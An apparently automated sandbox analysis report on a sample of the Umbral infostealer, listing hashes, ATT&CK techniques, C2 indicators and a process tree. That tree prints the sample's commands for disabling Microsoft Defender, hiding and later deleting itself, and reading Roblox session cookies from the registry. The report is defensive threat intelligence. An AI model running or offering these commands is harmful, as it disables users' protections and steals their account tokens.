umbral | 9952e7c346539dc361b2bda461eebf047ce00a2e3eb2bb3ab6f3fa0c0b5d87d5

Analysis

max time kernel
135s
max time network
140s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
05-01-2025 16:11

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General

Target

blasted.exe
Size

229KB
MD5

21e6f749bf59138d1528e64a34a88903
SHA1

4f2447e8476dad93e39aac775a7bf91c2c8cd4b8
SHA256

9952e7c346539dc361b2bda461eebf047ce00a2e3eb2bb3ab6f3fa0c0b5d87d5
SHA512

2cad6e33730a69bc31378ae4f502f37f6d8f6d1fd85c17830108ab6b056f1b5994bf8254530194df655e433689c2c22e53fea94c5958f8c1ee55f938a6e5486c
SSDEEP

6144:dloZM9rIkd8g+EtXHkv/iD4ZF3A6YXzQAp8aLLyfxmb8e1m6i:/oZmL+EP8ZF3A6YXzQAp8aLLyIo

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/2328-1-0x0000028FE3980000-0x0000028FE39C0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3940	powershell.exe
3364	powershell.exe
4560	powershell.exe
1868	powershell.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
22	discord.com
23	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
8	cmd.exe
4260	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1536	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4260	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2328	blasted.exe
1868	powershell.exe
1868	powershell.exe
3940	powershell.exe
3940	powershell.exe
3364	powershell.exe
3364	powershell.exe
1968	powershell.exe
1968	powershell.exe
4560	powershell.exe
4560	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2328	blasted.exe
Token: SeIncreaseQuotaPrivilege	2060	wmic.exe
Token: SeSecurityPrivilege	2060	wmic.exe
Token: SeTakeOwnershipPrivilege	2060	wmic.exe
Token: SeLoadDriverPrivilege	2060	wmic.exe
Token: SeSystemProfilePrivilege	2060	wmic.exe
Token: SeSystemtimePrivilege	2060	wmic.exe
Token: SeProfSingleProcessPrivilege	2060	wmic.exe
Token: SeIncBasePriorityPrivilege	2060	wmic.exe
Token: SeCreatePagefilePrivilege	2060	wmic.exe
Token: SeBackupPrivilege	2060	wmic.exe
Token: SeRestorePrivilege	2060	wmic.exe
Token: SeShutdownPrivilege	2060	wmic.exe
Token: SeDebugPrivilege	2060	wmic.exe
Token: SeSystemEnvironmentPrivilege	2060	wmic.exe
Token: SeRemoteShutdownPrivilege	2060	wmic.exe
Token: SeUndockPrivilege	2060	wmic.exe
Token: SeManageVolumePrivilege	2060	wmic.exe
Token: 33	2060	wmic.exe
Token: 34	2060	wmic.exe
Token: 35	2060	wmic.exe
Token: 36	2060	wmic.exe
Token: SeIncreaseQuotaPrivilege	2060	wmic.exe
Token: SeSecurityPrivilege	2060	wmic.exe
Token: SeTakeOwnershipPrivilege	2060	wmic.exe
Token: SeLoadDriverPrivilege	2060	wmic.exe
Token: SeSystemProfilePrivilege	2060	wmic.exe
Token: SeSystemtimePrivilege	2060	wmic.exe
Token: SeProfSingleProcessPrivilege	2060	wmic.exe
Token: SeIncBasePriorityPrivilege	2060	wmic.exe
Token: SeCreatePagefilePrivilege	2060	wmic.exe
Token: SeBackupPrivilege	2060	wmic.exe
Token: SeRestorePrivilege	2060	wmic.exe
Token: SeShutdownPrivilege	2060	wmic.exe
Token: SeDebugPrivilege	2060	wmic.exe
Token: SeSystemEnvironmentPrivilege	2060	wmic.exe
Token: SeRemoteShutdownPrivilege	2060	wmic.exe
Token: SeUndockPrivilege	2060	wmic.exe
Token: SeManageVolumePrivilege	2060	wmic.exe
Token: 33	2060	wmic.exe
Token: 34	2060	wmic.exe
Token: 35	2060	wmic.exe
Token: 36	2060	wmic.exe
Token: SeDebugPrivilege	1868	powershell.exe
Token: SeDebugPrivilege	3940	powershell.exe
Token: SeDebugPrivilege	3364	powershell.exe
Token: SeDebugPrivilege	1968	powershell.exe
Token: SeIncreaseQuotaPrivilege	4336	wmic.exe
Token: SeSecurityPrivilege	4336	wmic.exe
Token: SeTakeOwnershipPrivilege	4336	wmic.exe
Token: SeLoadDriverPrivilege	4336	wmic.exe
Token: SeSystemProfilePrivilege	4336	wmic.exe
Token: SeSystemtimePrivilege	4336	wmic.exe
Token: SeProfSingleProcessPrivilege	4336	wmic.exe
Token: SeIncBasePriorityPrivilege	4336	wmic.exe
Token: SeCreatePagefilePrivilege	4336	wmic.exe
Token: SeBackupPrivilege	4336	wmic.exe
Token: SeRestorePrivilege	4336	wmic.exe
Token: SeShutdownPrivilege	4336	wmic.exe
Token: SeDebugPrivilege	4336	wmic.exe
Token: SeSystemEnvironmentPrivilege	4336	wmic.exe
Token: SeRemoteShutdownPrivilege	4336	wmic.exe
Token: SeUndockPrivilege	4336	wmic.exe
Token: SeManageVolumePrivilege	4336	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 2328 wrote to memory of 2060	2328	blasted.exe	85
PID 2328 wrote to memory of 2060	2328	blasted.exe	85
PID 2328 wrote to memory of 2092	2328	blasted.exe	88
PID 2328 wrote to memory of 2092	2328	blasted.exe	88
PID 2328 wrote to memory of 1868	2328	blasted.exe	90
PID 2328 wrote to memory of 1868	2328	blasted.exe	90
PID 2328 wrote to memory of 3940	2328	blasted.exe	92
PID 2328 wrote to memory of 3940	2328	blasted.exe	92
PID 2328 wrote to memory of 3364	2328	blasted.exe	94
PID 2328 wrote to memory of 3364	2328	blasted.exe	94
PID 2328 wrote to memory of 1968	2328	blasted.exe	96
PID 2328 wrote to memory of 1968	2328	blasted.exe	96
PID 2328 wrote to memory of 4336	2328	blasted.exe	98
PID 2328 wrote to memory of 4336	2328	blasted.exe	98
PID 2328 wrote to memory of 2852	2328	blasted.exe	100
PID 2328 wrote to memory of 2852	2328	blasted.exe	100
PID 2328 wrote to memory of 4188	2328	blasted.exe	102
PID 2328 wrote to memory of 4188	2328	blasted.exe	102
PID 2328 wrote to memory of 4560	2328	blasted.exe	104
PID 2328 wrote to memory of 4560	2328	blasted.exe	104
PID 2328 wrote to memory of 1536	2328	blasted.exe	106
PID 2328 wrote to memory of 1536	2328	blasted.exe	106
PID 2328 wrote to memory of 8	2328	blasted.exe	108
PID 2328 wrote to memory of 8	2328	blasted.exe	108
PID 8 wrote to memory of 4260	8	cmd.exe	110
PID 8 wrote to memory of 4260	8	cmd.exe	110

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2092	attrib.exe

C:\Users\Admin\AppData\Local\Temp\blasted.exe
"C:\Users\Admin\AppData\Local\Temp\blasted.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2328
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2060
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\blasted.exe"
  2⤵
  - Views/modifies file attributes
  PID:2092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\blasted.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3940
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3364
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1968
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4336
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2852
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:4188
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4560
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1536
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\blasted.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:8
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4260

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
1a58f982c18490e622e00d4eb75ace5a

SHA1
60c30527b74659ecf09089a5a7c02a1df9a71b65

SHA256
4b7f800c0dea209162cc86627983993127eb20e3f8616646c41cb3ce15d9b39d

SHA512
ddab516a967783c5951717853aa5b3ef6dd5b442db50092888b2e7f3179fc68120fcde69a08d6ab280740eaadb6eadfc758c3118b52706f869e48ac1aebda480

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
8c0225614b101fa496aade3ed558d6cd

SHA1
5867e000414c4e0bdfc4c8ea228ae2e7ea41c096

SHA256
2f2fa81fd938f3497f1f9ff8df3302f5845dbad00760c68ed495f28d70aedfb1

SHA512
51fd9c8ffd06fd1d9d7aca79c769ad6b2f09b650a812f70d03007361f647e808afb5b8b4db6ead017f48b8d69de86c4b9442f1f98cfb01fc3a9e5cba5f66f237

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0pqtlp4x.2lf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1868-9-0x000002D74B760000-0x000002D74B782000-memory.dmp

Filesize
136KB

Download
memory/1868-14-0x00007FFBA0A00000-0x00007FFBA14C1000-memory.dmp

Filesize
10.8MB

Download
memory/1868-15-0x00007FFBA0A00000-0x00007FFBA14C1000-memory.dmp

Filesize
10.8MB

Download
memory/1868-18-0x00007FFBA0A00000-0x00007FFBA14C1000-memory.dmp

Filesize
10.8MB

Download
memory/1868-3-0x00007FFBA0A00000-0x00007FFBA14C1000-memory.dmp

Filesize
10.8MB

Download
memory/2328-33-0x0000028FFE130000-0x0000028FFE180000-memory.dmp

Filesize
320KB

Download
memory/2328-32-0x0000028FFE0B0000-0x0000028FFE126000-memory.dmp

Filesize
472KB

Download
memory/2328-43-0x0000028FFE040000-0x0000028FFE05E000-memory.dmp

Filesize
120KB

Download
memory/2328-1-0x0000028FE3980000-0x0000028FE39C0000-memory.dmp

Filesize
256KB

Download
memory/2328-0-0x00007FFBA0A03000-0x00007FFBA0A05000-memory.dmp

Filesize
8KB

Download
memory/2328-71-0x0000028FFE070000-0x0000028FFE07A000-memory.dmp

Filesize
40KB

Download
memory/2328-72-0x0000028FFE180000-0x0000028FFE192000-memory.dmp

Filesize
72KB

Download
memory/2328-2-0x00007FFBA0A00000-0x00007FFBA14C1000-memory.dmp

Filesize
10.8MB

Download
memory/2328-92-0x00007FFBA0A00000-0x00007FFBA14C1000-memory.dmp

Filesize
10.8MB

Download